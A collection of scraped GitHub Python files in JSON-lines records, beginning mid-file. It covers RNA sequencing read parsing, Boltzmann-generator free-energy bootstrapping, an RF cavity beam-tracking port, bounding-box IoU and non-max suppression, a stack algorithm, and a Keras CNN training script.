\"END_SEQ_NOT_FOUND\"\n mid_search_start_ind = mid_start + 1\n else:\n break\n \n if min(qscore[0:end_end]) < qcutoff or \"N\" in seq[0:end_end]:\n return \"QUAL_FAILED\"\n \n seq_ex_dt = seq[0:dlen]\n seq_ex_p = seq[pstart:mid_start]\n seq_ex_b = seq[bstart:end_start]\n\n return (seq_ex_dt, seq_ex_p, seq_ex_b)\n\nclass RNASequenceContainer:\n def __init__(self, dna_parsed_tpl_fn):\n self.rna_seq_dict = {}\n self.dna_tpl_dict = self.get_dna_bpdict(dna_parsed_tpl_fn)\n self.num_seq = 0\n \n @staticmethod\n def get_dna_bpdict(idna_parsed_fn):\n # {barcode : (promoter, count), ...}\n dna_bpdict = {}\n with open(idna_parsed_fn, 'r') as ifile:\n for line in ifile:\n fields = line.strip().split()\n assert len(fields) == 3\n brcd_seq = fields[0]\n prmt_seq = fields[1]\n prmt_count = int(fields[2])\n assert brcd_seq not in dna_bpdict\n dna_bpdict[brcd_seq] = (prmt_seq, prmt_count)\n return dna_bpdict\n\n def insert_seq(self, dtag_seq, prmt_seq, brcd_seq):\n self.num_seq += 1\n if brcd_seq not in self.rna_seq_dict:\n self.rna_seq_dict[brcd_seq] = {prmt_seq : [1, {dtag_seq : 1}]}\n elif prmt_seq not in self.rna_seq_dict[brcd_seq]:\n self.rna_seq_dict[brcd_seq][prmt_seq] = [1, {dtag_seq : 1}]\n elif dtag_seq not in self.rna_seq_dict[brcd_seq][prmt_seq][1]:\n self.rna_seq_dict[brcd_seq][prmt_seq][0] += 1\n self.rna_seq_dict[brcd_seq][prmt_seq][1][dtag_seq] = 1\n else:\n self.rna_seq_dict[brcd_seq][prmt_seq][0] += 1\n self.rna_seq_dict[brcd_seq][prmt_seq][1][dtag_seq] += 1\n\n # Dump promoter and barcode sequences\n # dna\n # prmt\n # brcd\n # tnm\n # m\n def dump_m_prmt_brcd_seq(self, output_fn):\n with open(output_fn, 'w') as od_file:\n for brcd_seq, prmt_dict in self.rna_seq_dict.iteritems():\n if brcd_seq in self.dna_tpl_dict:\n dna_prmt_seq = self.dna_tpl_dict[brcd_seq][0]\n for prmt_seq, prmt_count_list in prmt_dict.iteritems():\n if rnautil.seq_rmatch(prmt_seq, dna_prmt_seq):\n prmt_rmatch = 1\n else:\n prmt_rmatch = 0\n start_ind = len(dna_prmt_seq) - len(prmt_seq) + 1\n\n prmt_read_count = prmt_count_list[0]\n prmt_dtag_conut = len(prmt_count_list[1])\n\n if prmt_rmatch == 1:\n # dna\n # prmt\n # brcd\n # tnm\n # m\n od_file.write('%s\\t%s\\t%s\\t%d\\t%d\\n' % (dna_prmt_seq,\n prmt_seq,\n brcd_seq,\n prmt_dtag_conut,\n prmt_read_count))\n\n # Write saved RNA sequences\n # Return RNA stats\n def output_seq(self, output_fn):\n num_brcd = 0\n num_brcd_notpl = 0\n num_reads_notpl = 0\n sum_dtag_count_notpl = 0\n num_valid_brcd = 0\n num_valid_reads = 0\n sum_dtag_count_valid = 0\n \n identified_dna_prmt_set = set()\n\n or_file = open(output_fn, 'w')\n for brcd_seq, prmt_dict in self.rna_seq_dict.iteritems():\n num_brcd += 1\n\n if brcd_seq not in self.dna_tpl_dict:\n num_brcd_notpl += 1\n for prmt_seq in prmt_dict:\n prmt_count_list = prmt_dict[prmt_seq]\n num_reads_notpl += prmt_count_list[0]\n sum_dtag_count_notpl += len(prmt_count_list[1])\n else:\n dna_prmt_seq = self.dna_tpl_dict[brcd_seq][0]\n identified_dna_prmt_set.add(dna_prmt_seq)\n num_valid_brcd += 1\n for prmt_seq, prmt_count_list in prmt_dict.iteritems():\n if rnautil.seq_rmatch(prmt_seq, dna_prmt_seq):\n prmt_rmatch = 1\n else:\n prmt_rmatch = 0\n start_ind = len(dna_prmt_seq) - len(prmt_seq) + 1\n\n prmt_read_count = prmt_count_list[0]\n prmt_dtag_conut = len(prmt_count_list[1])\n\n num_valid_reads += prmt_read_count\n sum_dtag_count_valid += prmt_dtag_conut\n or_file.write(\"%s\\t%s\\t%d\\t%d\\t%d\\t%d\\n\" % (prmt_seq, \n dna_prmt_seq, start_ind, prmt_read_count, prmt_dtag_conut,\n prmt_rmatch))\n or_file.close()\n \n sum_dtag_counts = sum_dtag_count_valid + sum_dtag_count_notpl\n\n stats = \"Sum of digital tag counts: %d\\n\" % sum_dtag_counts\n # Avoid divide by 0\n if sum_dtag_counts == 0:\n sum_dtag_counts = 1\n\n stats += \"Number of total barcodes: %d\\n\" % num_brcd\n if num_brcd == 0:\n num_brcd = 1\n\n stats += \"Number of DNA template promoter regions: %d\\n\" % len(identified_dna_prmt_set)\n stats += \"Number of valid barcodes: %d (%s%%)\\n\" % (\n num_valid_brcd, \n \"{:.4f}\".format(float(num_valid_brcd) / num_brcd * 100))\n seq_cnt = self.num_seq\n if seq_cnt == 0:\n seq_cnt = 1\n stats += \"Number of valid reads: %d (%s%%)\\n\" % (\n num_valid_reads, \n \"{:.4f}\".format(float(num_valid_reads) / seq_cnt * 100))\n stats += \"Sum of valid digital tag counts: %d (%s%%)\\n\" % (\n sum_dtag_count_valid, \n \"{:.4f}\".format(float(sum_dtag_count_valid) / sum_dtag_counts * 100))\n\n stats += \"Number of no-dna-template barcodes: %d (%s%%)\\n\" % (\n num_brcd_notpl, \n \"{:.4f}\".format(float(num_brcd_notpl) / num_brcd * 100))\n stats += \"Number of no-dna-template reads: %d (%s%%)\\n\" % (\n num_reads_notpl, \n \"{:.4f}\".format(float(num_reads_notpl) / seq_cnt * 100))\n stats += \"Sum of no-dna-template digital tag counts: %d (%s%%)\\n\" % (\n sum_dtag_count_notpl, \n \"{:.4f}\".format(float(sum_dtag_count_notpl) / sum_dtag_counts * 100))\n return stats\n\n\n\ndef parse_rna_fastq_files(qcutoff, dlen, plen, blen, idna_parsed_fn, or_fn, \n os_fn, ifn_list, dump_m_prmt_brcd = False):\n num_total_reads = 0\n num_struct_failed_reads = 0\n num_qual_failed_reads = 0\n num_parsed_reads = 0\n\n # {brcd : {prmt : [raw_cnt, {dtag : rawcnt, ...}], ...}, ...}\n rna_seq_container = RNASequenceContainer(idna_parsed_fn)\n\n for seq_fn in ifn_list:\n for seqid, seq, rseqid, qscore in fastqutil.iterate_fastq_file(seq_fn):\n num_total_reads += 1\n\n seq_parse_result = parse_rna_seq(seq, qscore, qcutoff, dlen, plen, blen)\n if seq_parse_result in (\"SHORT_SEQ\", \"MID_SEQ_NOT_FOUND\", \n \"END_SEQ_NOT_FOUND\"):\n num_struct_failed_reads += 1\n elif seq_parse_result == \"QUAL_FAILED\":\n num_qual_failed_reads += 1\n else:\n num_parsed_reads += 1\n dtag_seq, prmt_seq, brcd_seq = seq_parse_result\n rna_seq_container.insert_seq(dtag_seq, prmt_seq, brcd_seq)\n\n # Generate read stats \n stats = \"RNA files: \" + str(ifn_list) + \"\\n\"\n stats += \"DNA template file: \" + idna_parsed_fn + \"\\n\"\n stats += \"Digital tag length: %d\\n\" % dlen\n stats += \"Promoter region length: %d\\n\" % plen\n stats += \"Middle sequence: \" + MID_SEQ + \"\\n\"\n stats += \"Barcode region length: %d\\n\" % blen\n stats += \"End sequence: \" + END_SEQ + \"\\n\"\n stats += \"Quality score cutoff: %d\\n\\n\" % (ord(qcutoff) - 33)\n stats += \"Total number of reads: %d\\n\" % num_total_reads\n # Avoid divide by 0\n if num_total_reads == 0:\n num_total_reads = 1\n\n stats += \"Number of parsed reads: %d (%s%%)\\n\" % (\n num_parsed_reads, \n \"{:.4f}\".format(float(num_parsed_reads) / num_total_reads * 100))\n\n stats += \"Number of structure failed reads: %d (%s%%)\\n\" % (\n num_struct_failed_reads, \n \"{:.4f}\".format(float(num_struct_failed_reads) / num_total_reads * 100))\n stats += \"Number of quality failed reads: %d (%s%%)\\n\\n\" % (\n num_qual_failed_reads, \n \"{:.4f}\".format(float(num_qual_failed_reads) / num_total_reads * 100))\n\n stats += \"For all %d parsed reads:\\n\" % num_parsed_reads\n stats += rna_seq_container.output_seq(or_fn)\n\n with open(os_fn, 'w') as os_file:\n os_file.write(stats)\n\n od_fn = or_fn + '.m_prmt_brcd_dump'\n if dump_m_prmt_brcd:\n rna_seq_container.dump_m_prmt_brcd_seq(od_fn)\n\n return num_total_reads\n\ndef main():\n arg_parser = argparse.ArgumentParser()\n \n arg_parser.add_argument('-d', '--dump', \n help = 'Sepcify this argument to dump the matched DNA and RNA'\n 'promoter region and barcode sequences into anoter'\n 'output file suffixed with .pbdump',\n action = 'store_true')\n\n arg_parser.add_argument('-q', '--qcutoff', type = int, default = 0,\n help = 'FASTQ per base Phred quality score cutoff.'\n 'Discard reads with quality score < qcutoff')\n\n arg_parser.add_argument('dlen', metavar = '',\n type = int)\n\n arg_parser.add_argument('plen', metavar = '',\n type = int)\n\n arg_parser.add_argument('blen', metavar = '',\n type = int)\n\n arg_parser.add_argument('idna_parsed_fn', metavar = ' ')\n\n arg_parser.add_argument('or_fn', metavar = '')\n\n arg_parser.add_argument('os_fn', metavar = '')\n\n arg_parser.add_argument('ifn_list', nargs = '+',\n metavar = '')\n\n args = arg_parser.parse_args()\n \n parse_rna_fastq_files(fastqutil.phread_quality_int_to_char(args.qcutoff),\n args.dlen, args.plen, args.blen, args.idna_parsed_fn,\n args.or_fn, args.os_fn, args.ifn_list, args.dump)\n\n return 0\n\nif __name__ == '__main__':\n main()\n","repo_name":"NickelsLabRutgers/MASTER-EX-CLT","sub_path":"src/parse_master_rna_fastq.py","file_name":"parse_master_rna_fastq.py","file_ext":"py","file_size_in_byte":12210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41128761768","text":"__author__ = 'noe'\n\nimport numpy as np\n\ndef mean_finite_(x, min_finite=1):\n \"\"\" Computes mean over finite values \"\"\"\n isfin = np.isfinite(x)\n if np.count_nonzero(isfin) > min_finite:\n return np.mean(x[isfin])\n else:\n return np.nan\n\ndef std_finite_(x, min_finite=2):\n \"\"\" Computes mean over finite values \"\"\"\n isfin = np.isfinite(x)\n if np.count_nonzero(isfin) >= min_finite:\n return np.std(x[isfin])\n else:\n return np.nan\n\ndef mean_finite(x, axis=None, min_finite=1):\n if axis is None:\n return mean_finite_(x)\n if axis == 0 or axis == 1:\n M = np.zeros((x.shape[axis-1],))\n for i in range(x.shape[axis-1]):\n if axis == 0:\n M[i] = mean_finite_(x[:, i])\n else:\n M[i] = mean_finite_(x[i])\n return M\n else:\n raise NotImplementedError('axis value not implemented:', axis)\n\ndef std_finite(x, axis=None, min_finite=2):\n if axis is None:\n return mean_finite_(x)\n if axis == 0 or axis == 1:\n S = np.zeros((x.shape[axis-1],))\n for i in range(x.shape[axis-1]):\n if axis == 0:\n S[i] = std_finite_(x[:, i])\n else:\n S[i] = std_finite_(x[i])\n return S\n else:\n raise NotImplementedError('axis value not implemented:', axis)\n\ndef metropolis_function(x):\n return np.minimum(np.exp(-x), 1)\n\ndef bar(sampled_a_uab, sampled_b_uba):\n \"\"\"\n Parameters:\n -----------\n sampled_a_uab : array\n Ub-Ua for samples in A\n sampled_b_uba : array\n Ua-Ub for samples in B\n \"\"\"\n R = np.mean(metropolis_function(sampled_a_uab)) / np.mean(metropolis_function(sampled_b_uba))\n return -np.log(R)\n\ndef free_energy_bootstrap(D, bins=100, range=None, log_weights=None, bias=None, temperature=1.0,\n nbootstrap=100, align_bins=None):\n \"\"\" Bootstrapped free energy calculation\n\n If D is a single array, bootstraps by sample. If D is a list of arrays, bootstraps by trajectories\n\n Parameters\n ----------\n D : array of list of arrays\n Samples in the coordinate in which we compute the free energy\n bins : int\n Number of bins\n range : None or (float, float)\n value range for bins, if not given will be chosen by min and max values of D\n nbootstrap : int\n number of bootstraps\n log_weights : None or arrays matching D\n sample weights\n bias : function\n if not None, the given bias will be removed.\n align_bins : None or indices\n if not None, will shift samples to align at the given bins indices\n\n Returns\n -------\n bin_means : array((nbins,))\n mean positions of bins\n Es : array((sample, nbins))\n for each bootstrap the free energies of bins.\n\n \"\"\"\n if range is None:\n range = (np.min(D), np.max(D))\n bin_edges = None\n Es = []\n by_traj = isinstance(D, list)\n for _ in np.arange(nbootstrap):\n Isel = np.random.choice(len(D), size=len(D), replace=True)\n if by_traj:\n Dsample = np.concatenate([D[i] for i in Isel])\n Wsample = None\n if log_weights is not None:\n log_Wsample = np.concatenate([log_weights[i] for i in Isel])\n Wsample = np.exp(log_Wsample - log_Wsample.max())\n Psample, bin_edges = np.histogram(Dsample, bins=bins, range=range, weights=Wsample, density=True)\n else:\n Dsample = D[Isel]\n Wsample = None\n if log_weights is not None:\n log_Wsample = log_weights[Isel]\n Wsample = np.exp(log_Wsample - log_Wsample.max())\n Psample, bin_edges = np.histogram(Dsample, bins=bins, range=range, weights=Wsample, density=True)\n E = -np.log(Psample)\n if align_bins is not None:\n E -= E[align_bins].mean()\n Es.append(E)\n Es = np.vstack(Es)\n bin_means = 0.5 * (bin_edges[:-1] + bin_edges[1:])\n\n if bias is not None:\n B = bias(bin_means) / temperature\n Es -= B\n\n return bin_means, Es# / temperature\n\n\ndef free_energy_bootstrap_2BGs(bg1, bg2, nsamples, nbootstrap, temperature=1.0, verbose=False):\n \"\"\" Computes free energy difference between the states sampled by two Boltzmann generators\n with a joint latent space\n\n Parameters\n ----------\n bg1 : EnergyInvNet\n Boltzmann Generator 1\n bg2 : EnergyInvNet\n Boltzmann Generator 2\n nsamples : int\n number of samples used in each bootstrap\n nbootstrap : int\n number of bootstrap samples\n\n Returns\n -------\n dFs : array\n Array of bootstrapped samples of free energy differences F2-F1.\n\n \"\"\"\n dEs = []\n W1s = []\n W2s = []\n nsample_per_bootstrap = min(100000, nsamples)\n niter = int(nsamples / nsample_per_bootstrap)\n for i in range(niter):\n if verbose:\n print(i)\n sample_z = np.sqrt(temperature) * np.random.randn(nsample_per_bootstrap, bg1.dim)\n sample_x1, sampleJzx1 = bg1.transform_zxJ(sample_z)\n energies_sample_x1 = bg1.energy_model.energy(sample_x1)\n sample_x2, sampleJzx2 = bg2.transform_zxJ(sample_z)\n energies_sample_x2 = bg1.energy_model.energy(sample_x2)\n\n energies_sample_z = bg1.dim + np.sum(sample_z**2, axis=1) / (2.0 * temperature)\n logw1 = -energies_sample_x1 + energies_sample_z + sampleJzx1\n w1 = np.exp((logw1 - logw1.max()) / temperature)\n logw2 = -energies_sample_x2 + energies_sample_z + sampleJzx2\n w2 = np.exp((logw2 - logw2.max()) / temperature)\n\n dE = energies_sample_x2 - sampleJzx2 - energies_sample_x1 + sampleJzx1\n dEs.append(dE)\n W1s.append(w1)\n W2s.append(w2)\n dEs = np.concatenate(dEs)\n W1s = np.concatenate(W1s)\n W2s = np.concatenate(W2s)\n\n # Bootstrap free energy difference\n dFs = []\n for i in range(nbootstrap):\n I = np.arange(W1s.size)\n Isel = np.random.choice(I, I.size)\n f = np.minimum(np.exp(-dEs[Isel] / temperature), 1.0)\n p12 = np.sum(W1s[Isel] * f) / np.sum(W1s[Isel])\n f = np.minimum(np.exp(dEs[Isel] / temperature), 1.0)\n p21 = np.sum(W2s[Isel] * f) / np.sum(W2s[Isel])\n dFs.append(-temperature * np.log(p12/p21))\n\n return dFs\n\n\ndef free_energy_bootstrap_2BGs_databased(bg1, bg2, x1, x2, nbootstrap, temperature=1.0, verbose=False):\n \"\"\" Computes free energy difference between the states sampled by two Boltzmann generators\n with a joint latent space\n\n Parameters\n ----------\n bg1 : EnergyInvNet\n Boltzmann Generator 1\n bg2 : EnergyInvNet\n Boltzmann Generator 2\n x1 : array\n locally weighted samples in state 1\n x2 : array\n locally weighted samples in state 2\n nbootstrap : int\n number of bootstrap samples\n\n Returns\n -------\n dFs : array\n Array of bootstrapped samples of free energy differences F2-F1 at the reference temperature 1.\n\n \"\"\"\n energies_x1 = bg1.energy_model.energy(x1)\n energies_x2 = bg2.energy_model.energy(x2)\n z1, Jxz1 = bg1.transform_zxJ(x1)\n z2, Jxz2 = bg1.transform_zxJ(x2)\n energies_z1 = bg1.dim + np.sum(z1**2, axis=1) / (2.0 * temperature)\n energies_z2 = bg1.dim + np.sum(z2**2, axis=1) / (2.0 * temperature)\n\n # weights\n logW1 = -energies_z1 + energies_x1 + Jxz1\n W1 = np.exp((logW1 - logW1.max()) / temperature)\n logW2 = -energies_z2 + energies_x2 + Jxz2\n W2 = np.exp((logW2 - logW2.max()) / temperature)\n dE = energies_z2 - Jxz2 - energies_z1 + Jxz1\n\n # Bootstrap free energy difference\n dFs = []\n I = np.arange(W1.shape[0])\n for i in range(nbootstrap):\n Isel = np.random.choice(I, I.size)\n f = np.minimum(np.exp(-dE[Isel] / temperature), 1.0)\n p12 = np.sum(W1[Isel] * f) / np.sum(W1[Isel])\n f = np.minimum(np.exp(dE[Isel] / temperature), 1.0)\n p21 = np.sum(W2[Isel] * f) / np.sum(W2[Isel])\n dFs.append(-np.log(p12/p21))\n\n return dFs","repo_name":"jbinagia/CS-230-Final-Project","sub_path":"examples/deep_boltzmann/deep_boltzmann/sampling/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8011,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"23266292898","text":"class Solution:\n def dailyTemperatures(self, temperatures):\n stack = []\n res = [0] * len(temperatures)\n for i, temp in enumerate(temperatures):\n while stack and temp > temperatures[stack[-1]]: \n res[stack[-1]] = i - stack[-1]\n stack.pop()\n stack.append(i)\n \n return res","repo_name":"mwhiatt/leetcode-practice","sub_path":"stack/daily_temps/daily_temps.py","file_name":"daily_temps.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17045635509","text":"# SAM to Python Conversion\n# DJS August 2017\n# Version 0.1\n#\nfrom ComponentBase import ComponentBase\n# from ..SAMMlab import Beam\nfrom ..SAMMlab import MasterOscillator\nfrom ..SAMMlab import PhysicalConstants as PhyC\nimport numpy\nimport math\n\nclass RFCavity(ComponentBase):\n def __init__(self, voltage=0, harmonic=1, phase=numpy.pi, length=0,\n name=\"\", aperture=[]):\n ComponentBase.__init__(self, length, name, aperture)\n # in volts\n self.voltage = voltage\n # frequency (in units of master oscillator frequency)\n self.harmonic = harmonic\n # relative to master oscillator, in radians\n self.phase = phase\n # 1x2 array of elliptical aperture half-axes, in metres\n self.aperture = aperture\n\n # @property\n\n def setFrequency(self, f):\n MasterOscillator.frequency = f / self.harmonic\n\n def getFrequency(self):\n return self.harmonic * MasterOscillator.frequency\n\n def Track(self, beam):\n # Applies the dynamical map for an RF cavity to the particles\n # in beam1. The reference momentum is unchanged.\n beta0 = beam.beta\n mofreq = MasterOscillator.frequency\n ds = self.length\n f = self.harmonic * mofreq\n # First apply a drift through ds/2\n d1 = math.sqrt(1 - beam.px**2 - beam.py**2 + 2 * beam.dp / beta0 +\n beam.dp**2)\n x1 = beam.x + ds * beam.px / d1 / 2\n y1 = beam.y + ds * beam.py / d1 / 2\n ct1 = beam.ct + ds * (1 - (1 + beam.dp * beta0) / d1) / beta0 / 2\n # Next, apply an rf 'kick'\n p = math.floor(beam.globaltime * mofreq)\n beam.globaltime = beam.globaltime - (p / mofreq)\n t = beam.globaltime - (ct1 / (beta0 * PhyC.SpeedOfLight))\n ft = (f * t) - math.floor(f * t)\n vnorm = self.voltage / beam.rigidity / PhyC.SpeedOfLight\n dp1 = beam.dp + (vnorm * math.sin((2 * math.pi * ft) + self.phase))\n # Finally, apply a second drift through ds/2\n d1 = math.sqrt(1 - beam.px**2 - beam.py**2 + 2 * dp1 / beta0 +\n dp1**2)\n beam.x = x1 + (ds * beam.x) / d1 / 2\n beam.y = y1 + (ds * beam.y) / d1 / 2\n beam.ct = ct1 + ds * (1 - (1 + beta0 * dp1) / d1) / beta0 / 2\n\n # save\n self.lastTrackedBeam = beam\n # @momentum.setter\n # def momentum(self, momentum):\n # self.__rigidity = momentum / self.species.charge\n\n # function set.frequency(rfcavity,f)\n # f1 = rfcavity.harmonic * MasterOscillator.GetFrequency();\n # MasterOscillator.SetFrequency(MasterOscillator.GetFrequency()*f/f1);\n # end\n\n # function f = get.frequency(rfcavity)\n # f = rfcavity.harmonic * MasterOscillator.GetFrequency();\n # end\n\n\n# classdef RFCavity < handle\n# % RFCavity class\n# %\n# % Properties:\n# % name\n# % length\n# % voltage\n# % harmonic\n# % phase\n# % aperture\n# %\n# % Methods:\n# % Track\n#\n# properties\n# name = ''; % string\n# length = 0; % in metres\n# voltage = 0; % in volts\n# harmonic = 1; % frequency (in units of master oscillator frequency)\n# phase = pi; % relative to master oscillator, in radians\n# aperture = []; % 1x2 array of elliptical aperture half-axes, in metres\n# end % properties\n#\n# properties (Dependent=true)\n# frequency;\n# end % properties (dependent)\n#\n# methods\n#\n# function set.frequency(rfcavity,f)\n# f1 = rfcavity.harmonic * MasterOscillator.GetFrequency();\n# MasterOscillator.SetFrequency(MasterOscillator.GetFrequency()*f/f1);\n# end\n#\n# function f = get.frequency(rfcavity)\n# f = rfcavity.harmonic * MasterOscillator.GetFrequency();\n# end\n#\n# function beam = Track(rfcavity,beam)\n# % beam2 = RFCavity.Track(beam1)\n# % Applies the dynamical map for an RF cavity to the particles\n# % in beam1. The reference momentum is unchanged.\n#\n# [x0, px0, y0, py0, ct0, dp0] = beam.GetParticles();\n#\n# beta0 = beam.beta;\n#\n# mofreq = MasterOscillator.GetFrequency();\n#\n# ds = rfcavity.length;\n# f = rfcavity.harmonic*mofreq;\n#\n# % First apply a drift through ds/2\n# d1 = sqrt(1 - px0.*px0 - py0.*py0 + 2*dp0/beta0 + dp0.*dp0);\n#\n# x1 = x0 + ds*px0./d1/2;\n# y1 = y0 + ds*py0./d1/2;\n# ct1 = ct0 + ds*(1 - (1 + beta0*dp0)./d1)/beta0/2;\n#\n# % Next, apply an rf 'kick'\n# p = floor(beam.globaltime*mofreq);\n# beam.globaltime = beam.globaltime - p/mofreq;\n# t = beam.globaltime - ct1/(beta0*PhysicalConstants.SpeedOfLight);\n# ft = f*t - floor(f*t);\n#\n# vnorm = rfcavity.voltage/beam.rigidity/PhysicalConstants.SpeedOfLight;\n# dp1 = dp0 + vnorm*sin(2*pi*ft + rfcavity.phase);\n#\n# % Finally, apply a second drift through ds/2\n# d1 = sqrt(1 - px0.*px0 - py0.*py0 + 2*dp1/beta0 + dp1.*dp1);\n#\n# x2 = x1 + ds*px0./d1/2;\n# y2 = y1 + ds*py0./d1/2;\n# ct2 = ct1 + ds*(1 - (1 + beta0*dp1)./d1)/beta0/2;\n#\n# beam.SetParticles(x2, px0, y2, py0, ct2, dp1);\n#\n# end % function Track\n#\n# function TrackLibrary(rfcavity,trackingMethod,libroutine)\n#\n# mofreq = MasterOscillator.GetFrequency();\n#\n# rfcavity1.length = rfcavity.length;\n# rfcavity1.voltage = rfcavity.voltage;\n# rfcavity1.frequency = rfcavity.harmonic * mofreq;\n# rfcavity1.phase = rfcavity.phase;\n# rfcavity1.masteroscillatorfrequency = mofreq;\n#\n# if(~isempty(rfcavity.aperture))\n# rfcavity1.apertureX = rfcavity.aperture(1);\n# rfcavity1.apertureY = rfcavity.aperture(2);\n# end\n#\n# calllib(trackingMethod,[libroutine 'RFCavity'],rfcavity1);\n#\n# end % function TrackLibrary\n#\n# end % methods\n#\n# end % classdef RFCavity\n","repo_name":"VELA-CLARA-software/SimFramed","sub_path":"SAMM3.0/Python/SAMMcore/Components/RFCavity.py","file_name":"RFCavity.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"13715224622","text":"import torch\nimport numpy as np\n\n\ndef bbox_convert_corners_to_sizes(box):\n \"\"\"\n Convert (ymin, xmin, ymax, xmax) => (ymin, xmin, height, width) representation.\n \"\"\"\n ymin, xmin, ymax, xmax = box\n return (ymin, xmin, ymax - ymin, xmax - xmin)\n\n\ndef bbox_convert_sizes_to_corners(box):\n \"\"\"\n Convert (ymin, xmin, height, width) => (ymin, xmin, ymax, xmax) representation.\n \"\"\"\n ymin, xmin, height, width = box\n return (ymin, xmin, ymin + height, xmin + width)\n\n\ndef calculate_iou(boxesA, boxesB, lib=\"torch\"):\n \"\"\"\n Compute IoU between two sets of boxes.\n\n Parameters\n ----------\n boxesA: M x 4 torch tensor or numpy array\n boxesB: N x 4 torch tensor or numpy array\n\n Returns\n -------\n ious: M x N tensor or array\n\n Notes\n -----\n Assumes the representation of boxes are as (xmin, ymin, width, height)\n \"\"\"\n # extract the corners of the bounding boxes\n A_x1, B_x1 = boxesA[:, 0], boxesB[:, 0]\n A_y1, B_y1 = boxesA[:, 1], boxesB[:, 1]\n A_x2, B_x2 = boxesA[:, 0] + boxesA[:, 2], boxesB[:, 0] + boxesB[:, 2]\n A_y2, B_y2 = boxesA[:, 1] + boxesA[:, 3], boxesB[:, 1] + boxesB[:, 3]\n\n # intersection coordinates\n if lib == \"torch\":\n A_x1, A_y1 = A_x1.unsqueeze(1), A_y1.unsqueeze(1)\n A_x2, A_y2 = A_x2.unsqueeze(1), A_y2.unsqueeze(1)\n B_x1, B_y1 = B_x1.unsqueeze(0), B_y1.unsqueeze(0)\n B_x2, B_y2 = B_x2.unsqueeze(0), B_y2.unsqueeze(0)\n x_left = torch.max(A_x1, B_x1)\n y_bottom = torch.max(A_y1, B_y1)\n x_right = torch.min(A_x2, B_x2)\n y_top = torch.min(A_y2, B_y2)\n elif lib == \"numpy\":\n A_x1, A_y1 = A_x1[:, np.newaxis], A_y1[:, np.newaxis]\n A_x2, A_y2 = A_x2[:, np.newaxis], A_y2[:, np.newaxis]\n B_x1, B_y1 = B_x1[np.newaxis, :], B_y1[np.newaxis, :]\n B_x2, B_y2 = B_x2[np.newaxis, :], B_y2[np.newaxis, :]\n x_left = np.maximum(A_x1, B_x1)\n y_bottom = np.maximum(A_y1, B_y1)\n x_right = np.minimum(A_x2, B_x2)\n y_top = np.minimum(A_y2, B_y2)\n else:\n raise ValueError\n\n # straightforward area calculation for intersection over union\n intersection_area = (x_right - x_left) * (y_top - y_bottom)\n A_area = (A_x2 - A_x1) * (A_y2 - A_y1)\n B_area = (B_x2 - B_x1) * (B_y2 - B_y1)\n\n iou = intersection_area / (A_area + B_area - intersection_area)\n iou[x_right < x_left] = 0.0\n iou[y_top < y_bottom] = 0.0\n return iou\n\n\ndef calculate_nms(boxes, scores, threshold=0.5):\n \"\"\"\n Calculate the non-maximum suppression of a set of boxes.\n\n Returns\n -------\n sel_boxes: list of selected boxes each a tensor of length 4\n sel_scores: list of selected box scores each a float\n \"\"\"\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2] + boxes[:, 0]\n y2 = boxes[:, 3] + boxes[:, 1]\n\n _, order = scores.sort(0, descending=True)\n sel_boxes, sel_scores = [], []\n \n while len(order) > 0:\n \n i = order[0]\n sel_boxes.append(boxes[i])\n sel_scores.append(scores[i])\n iou = calculate_iou(boxes[order], boxes[i].unsqueeze(0)).squeeze()\n order = order[(iou < threshold) & ~(torch.isnan(iou)) & (order != i)]\n \n return sel_boxes, sel_scores\n\n","repo_name":"tonyduan/retinanet-detection","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"20504647436","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.callbacks import TensorBoard\nimport pickle\nimport time\nimport sklearn.model_selection as sk\n\nX = pickle.load(open(\"F:/datasets/Lego_models_error_detection/X.pickle\", \"rb\"))\ny = pickle.load(open(\"F:/datasets/Lego_models_error_detection/y.pickle\", \"rb\"))\n\nX = X / 255.0\ny = to_categorical(y, 3) # you need to set how many categories there are\n\nX_train, X_test, y_train, y_test = sk.train_test_split(X, y, test_size=0.20, random_state=42)\n\n# starting parameters\nBATCH = 32\n\nfor i in range(4):\n NAME = \"lego_error_layer{}_{}\".format(i * 16, int(time.time()))\n tensorboard = TensorBoard(log_dir='logs/{}'.format(NAME))\n print(NAME)\n model = Sequential()\n model.add(Conv2D(16, (3, 3), activation='relu', input_shape=X_train.shape[1:]))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Conv2D(32, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Flatten())\n #\n model.add(Dense(512, activation='relu'))\n #\n model.add(Dense(3, activation='softmax'))\n\n model.compile(loss='categorical_crossentropy',\n optimizer=\"adam\",\n metrics=['accuracy'])\n\n model_fit = model.fit(X_train, y_train, batch_size=BATCH,\n epochs=30,\n validation_data=(X_test, y_test),\n callbacks=[tensorboard])\n","repo_name":"istvanaut/TK-MachineLearning","sub_path":"Old/DRHO37/kódok/EnchantedBuilderwithTensorBoardOptimize.py","file_name":"EnchantedBuilderwithTensorBoardOptimize.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
